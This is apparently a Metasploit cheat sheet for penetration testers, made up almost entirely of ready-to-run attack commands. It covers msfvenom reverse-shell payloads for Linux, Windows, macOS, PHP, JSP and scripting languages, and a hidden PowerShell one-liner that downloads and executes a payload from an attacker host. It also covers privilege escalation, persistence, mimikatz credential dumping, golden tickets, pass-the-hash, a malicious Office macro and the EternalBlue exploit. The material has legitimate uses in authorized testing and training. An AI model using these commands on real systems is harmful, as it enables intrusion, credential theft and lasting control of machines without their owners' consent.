Metasploit

Summary

Installation

```
curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
msfinstall && chmod 755 msfinstall && ./msfinstall
```

or docker

```
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data
remnux/metasploit
```

Sessions

```
CTRL+Z   -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp
HANDLER=false-> Upgrade session to a meterpreter
```

```
sessions -c cmd           -> Execute a command on several sessions
sessions -i 10-20 -c "id" -> Execute a command on several sessions
```

Background handler

ExitOnSession : the handler will not exit if the meterpreter dies.

```
screen -dRR
sudo msfconsole

use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false

generate -o /tmp/meterpreter.exe -f exe
to_handler

[ctrl+a] + [d]
```

Meterpreter - Basic

Generate a meterpreter

```
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f
elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe
> shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho >
shell.macho
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw >
shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php &&
pbpaste >> shell.php
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp
> shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw >
shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war >
shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw >
shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
```

Meterpreter Webdelivery

Set up a Powershell web delivery listening on port 8080.

```
use exploit/multi/script/web_delivery
set TARGET 2
```

```
set payload windows/x64/meterpreter/reverse_http
set LHOST 10.0.0.1
set LPORT 4444
run
```

```
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=
[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=
[Net.CredentialCache]::DefaultCredentials;IEX
$g.downloadstring('http://10.0.0.1:8080/rYDPPB');
```

Get System

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Persistence Startup

```
OPTIONS:

-A        Automatically start a matching exploit/multi/handler to connect to the
agent
-L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
-P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
-S        Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt>  Alternate executable template to use
-U        Automatically start the agent when the User logs on
-X        Automatically start the agent when the system boots
-h        This help menu
-i <opt>  The interval in seconds between each connection attempt
-p <opt>  The port on which the system running Metasploit is listening
-r <opt>  The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -U -p 4242
```

Network Monitoring

```
# list interfaces
run packetrecorder -li

# record interface n°1
run packetrecorder -i 1
```

Portforward

```
portfwd add -l 7777 -r 172.17.0.2 -p 3006
```

Upload / Download

```
upload /path/in/hdd/payload.exe exploit.exe
download /path/in/victim
```

Execute from Memory

```
execute -H -i -c -m -d calc.exe -f /root/wce.exe -a  -w
```

Mimikatz

```
load mimikatz
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords full
```

```
load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u
<user_for_the_ticket> -t <location_to_store_tck>
```

Pass the Hash - PSExec

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > exploit
SMBDomain             WORKGROUP
no        The Windows domain to use for authentication
SMBPass
598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf  no        The
password for the specified username
SMBUser               Lambda
no        The username to authenticate as
```

Use SOCKS Proxy

```
setg Proxies socks4:127.0.0.1:1080
```

Scripting Metasploit

Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`. Here is a simple example to script the deployment of a handler an create an Office doc with macro.

```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z


use exploit/multi/fileformat/office_word_macro
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.22
set LPORT 4646
exploit
```

Multiple transports

```
msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port>
sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell
extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
```

Then, in AddTransports.ps1

```
Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
```

Best of - Exploits

- MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
- MS08_67 - `exploit/windows/smb/ms08_067_netapi`

References

- Multiple transports in a meterpreter payload - ionize
- Creating Metasploit Payloads - Peleus